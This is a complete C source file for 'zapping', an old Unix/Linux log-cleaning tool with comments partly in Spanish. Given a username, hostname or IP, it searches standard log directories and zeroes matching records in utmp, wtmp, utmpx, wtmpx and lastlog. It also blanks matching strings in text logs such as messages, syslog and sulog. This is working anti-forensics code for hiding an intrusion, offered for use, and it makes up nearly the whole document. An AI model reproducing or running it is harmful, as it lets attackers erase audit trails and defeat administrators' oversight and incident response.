/* 
   Matias Sedalo <s0t4ipv6@shellcode.com.ar>
   zapping.c version 0.2

   Clean the logs of the common files in the OS, and search the rest
   of the files on the PATH defined in the dir var on main.
   Without repeating the search of this files in others PATH's.
   It should work on every linux distributions.
 
   on *BSD compile:
   $ cc -o zapping2 -D__BSD zapping-0.2.c
   and change the log files.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>  // Files
#include <sys/stat.h>
#include <fcntl.h>
#include <pwd.h>	// Logs
#include <utmp.h>      
#ifndef __BSD
#include <utmpx.h>
#include <lastlog.h>
#endif

#define	VERSION	"0.2"

#define	MAXF	8
#define DIRS   	5       // directorios de busqueda
#define	L_FILE	256
/* comenzaremos a partir de la 1/2 
   3 = 1/3 , 4 = 1/4 .. etc */
#define PART	2
/* particionamos el archivo si supera */
#define	LIMIT	614400	// 600k

typedef struct { int  state; char name[L_FILE]; } un_file ;
struct a_arch { un_file file[MAXF]; } ; 
	
/* agregar a su gusto desde aca ... */
  char *dir[DIRS]={"/usr/adm", "/var/log", "/var/run", "/var/adm" ,"/usr/log" };
  struct a_arch page[2]={
	/* Pagina 0: archivos de texto claro */
	0,"notice",	0,"info",
	0,"messages",	0,"sulog",
	0,"syslog",	0,"mail", 
	0,"",		0,"",	// agregar aca
	/* Pagina 1: archivos de formato */
        0,"utmp",	0,"utmpx",
	0,"wtmp",	0,"wtmpx",
	0,"lastlog",	0,"", 	// agregar aca
	};
  /* state 0 : inicializacion 
     state 1 : archivo encontrado
     state 2 : pattern borrado */
/* ... hasta aca */

/* uso */
void _use(char *alpha) {
  fprintf (stderr,"zapping version %s by s0t4ipv6 <s0t4ipv6@shellcode.com.ar>"
		"\nuse: %s [ username | hostname | IP ]\n", VERSION,alpha);
  exit(0);
}


int _detect(char *alpha) {
  char    tok[4]={0};
  int     sl=0;

  if ( (strchr(alpha, 0x2e )) != NULL ) {
    memccpy(tok, alpha, 0x2e , 3);
    sl=1; // 1 si es un hostname
    /* 2 si tiene el formato de IP */
    if ( atoi(tok) > 0 && atoi(tok) < 256 ) sl=2;
  }
  return sl;
}


int _pseek(int ffdd, int offset) {
  struct stat filestat;
  fstat(ffdd, &filestat);
  /* para archivos mayores a 4k */
  if ( filestat.st_size > LIMIT && offset > 1) 
  	lseek(ffdd, (filestat.st_size / offset), SEEK_CUR);
  return filestat.st_size;
}


void _formatclean(int fdesc, char *name, char *pat, int type) {
  int 	  size, org;
  int	  equis; 
  int	  chk=0, count=0;
  struct  passwd  *_pass;
  struct  utmp    uwtmp;
  struct  lastlog _lastlog;
#ifndef __BSD
  struct  utmpx   uwtmpx;
#endif
  /* equis = 1 then utmpx wtmpx else 2 lastlog*/
  equis = _patterncmp("tmpx", name) ;
  if ( (_patterncmp("lastlog", name)) == 1 ) equis=2;

  switch (equis) {
    case 0:  // utmp wtmp
	size=sizeof(struct utmp);
	while ( (org=read(fdesc, &uwtmp, size)) > 0 ) {
#ifndef __BSD
	 if ( type == 0 ) chk=_patterncmp(pat, uwtmp.ut_user);
#else
	 if ( type == 0 ) chk=_patterncmp(pat, uwtmp.ut_name);
#endif
	 if ( type == 1 || type == 2 ) chk=_patterncmp(pat, uwtmp.ut_host);
	 if ( chk == 1 ) {
	  count++;
	  if( count == 1 )fprintf(stderr,"\n  Found %s", pat);
	  memset(&uwtmp, 0x0, size);
	  lseek(fdesc, -org, SEEK_CUR);
	  write(fdesc, &uwtmp, size);
	 }
	}
	break;
    case 1:  // *tmpx
#ifndef __BSD
	size=sizeof(struct utmpx);
	while ( (org=read(fdesc, &uwtmpx, size)) > 0) {
	 if (type==0) chk=_patterncmp(pat, uwtmpx.ut_user);
	 if (type==1 || type==2) chk=_patterncmp(pat, uwtmpx.ut_host);
	 if (chk==1) {
	  count++;
	  if( count == 1 )fprintf(stderr,"\n  Found %s", pat);
	  memset(&uwtmpx, 0x0,size);
	  lseek(fdesc, -org, SEEK_CUR);
	  write(fdesc, &uwtmpx, size);
	 }
	}
#else
	fprintf(stderr,"\n  Not supported on BSD");
#endif
	break;
    case 2:  // lastlog
	size=sizeof(struct lastlog);
	if ( type == 0 ) {
	 if ( (_pass=getpwnam(pat)) != NULL ) {
	  fprintf (stderr, "\n  Found %s, uid = %d home = %s", 
			pat, _pass->pw_uid,  _pass->pw_dir);
	  lseek(fdesc, _pass->pw_uid * size, SEEK_SET);
	  memset(&_lastlog, 0x0, size);
	  write(fdesc, &_lastlog, size);
	 } else { fprintf(stderr,"\n  User not found"); } 
	} 
	if ( type == 1 || type == 2 ) { // aunque sea una IP
	 while ( (org=read(fdesc, &_lastlog, size)) > 0) {
	 if ( _patterncmp(pat, _lastlog.ll_host) == 1 ) {
	  count++;
	  if (count==1)fprintf(stderr,"\n  Found %s", pat);
	  memset(&_lastlog, 0x0,size);
	  lseek(fdesc, -org, SEEK_CUR);
	  write(fdesc, &_lastlog, size);
	  }
	 }
	}
	break;
  }
  if ( count != 0 ) fprintf(stderr, " %d times. Zap.", count);
    else if ( equis != 2 || type != 0 ) fprintf(stderr,"\n  It's clean.");
}


void _asciiclean(int fdesc, char *name, char *pat) {
  int  size=strlen(pat);
  int  rest=0, cant=0, sf;
  char *find;
  int  filesize=_pseek(fdesc, PART);
  
  if ( (find=(char *)calloc(size, sizeof(char))) == NULL )
    { perror("calloc()"); exit(0); }

  while ( (read(fdesc, find, size)) > 0 ) {
    sf=_patterncmp(pat, find);
    if ( sf == 1 ) {
      memset(find, 0x0, size);
      lseek(fdesc,-size,SEEK_CUR);
      write(fdesc,find, size); 
      cant++;
      }
    if ( cant == 1 && sf == 1 ) fprintf(stderr,"\n  Pattern found: ");
    if ( rest + size != filesize)
      rest = lseek(fdesc, -size + 1, SEEK_CUR);
  }
  if ( cant != 0 ) fprintf(stderr,"%d times. Zap.", cant);
    else fprintf(stderr,"\n  It's clean.");
}


/* buscamos el string _bb en el buffer _aa */
int _patterncmp(char *_aa, char *_bb) {
  if ( memcmp(_aa, _bb, strlen(_aa)) == 0 ) 
    return 1;       // devuelve 1 si lo encontramos
   else
    return 0;       // 0 si no
}


/* intentamos abrir el archivo */
int _filesearch(char *path, char *filename) {
  int  filedesc;
  int  lenght=strlen(path)+strlen(filename)+1;
  char file[lenght];

  snprintf(file, lenght+1, "%s/%s", path, filename);
  filedesc=open(file, O_RDWR);
  return filedesc;
}


int main (int argc, char *argv[]) {
  int  a,b, pag;
  int  num_type, fd;
  char *pattern;
  char *tipo[3]={"username", "hostname", "IP"};

  if ( argc < 2 ) _use(argv[0]);
  if ( (pattern=(char *)calloc(strlen(argv[1]), sizeof(char))) == NULL )
    { perror("calloc()"); exit(0); }

  pattern=argv[1];
  num_type= _detect(pattern);

  fprintf (stderr, "\n[ Zapping version %s by s0t4ipv6 ]\n",VERSION);
  fprintf (stderr, "\n* Cleaning %s = '%s' on ...\n", tipo[num_type], pattern);

  /* mi peque#a maquina de busqueda */
  /* ya no me interesa _PATH_H_ */
  for (pag=0; pag<2 ; pag++) {
   for (a=0; a<MAXF; a++) {
    if ( strlen(page[pag].file[a].name) == 0 ) break ;
    fprintf(stderr, "\n* file '%s' ", page[pag].file[a].name);
    for (b=0; b<DIRS; b++) {
	fd=0;
	if ( page[pag].file[a].state == 0 )
	  fd = _filesearch(dir[b], page[pag].file[a].name);
	if ( fd > 0 ) {
	  fprintf(stderr, "found in '%s'", dir[b]);
 	  page[pag].file[a].state=1; // first state
	  switch (pag) {
	    case 0: 
		_asciiclean(fd, page[pag].file[a].name, pattern); 
		break;
	    case 1: 
		_formatclean(fd, page[pag].file[a].name, pattern, num_type); 
		break;
	  }
	  close(fd);
	} 
    }
    if ( page[pag].file[a].state == 0 ) fprintf(stderr,"not found!");
   }
  fprintf(stderr,"\n");
  }
	
fprintf(stderr,"\n_EOF\n\n");
exit(0);

} // _EOF_ (c) s0t4ipv6 2002

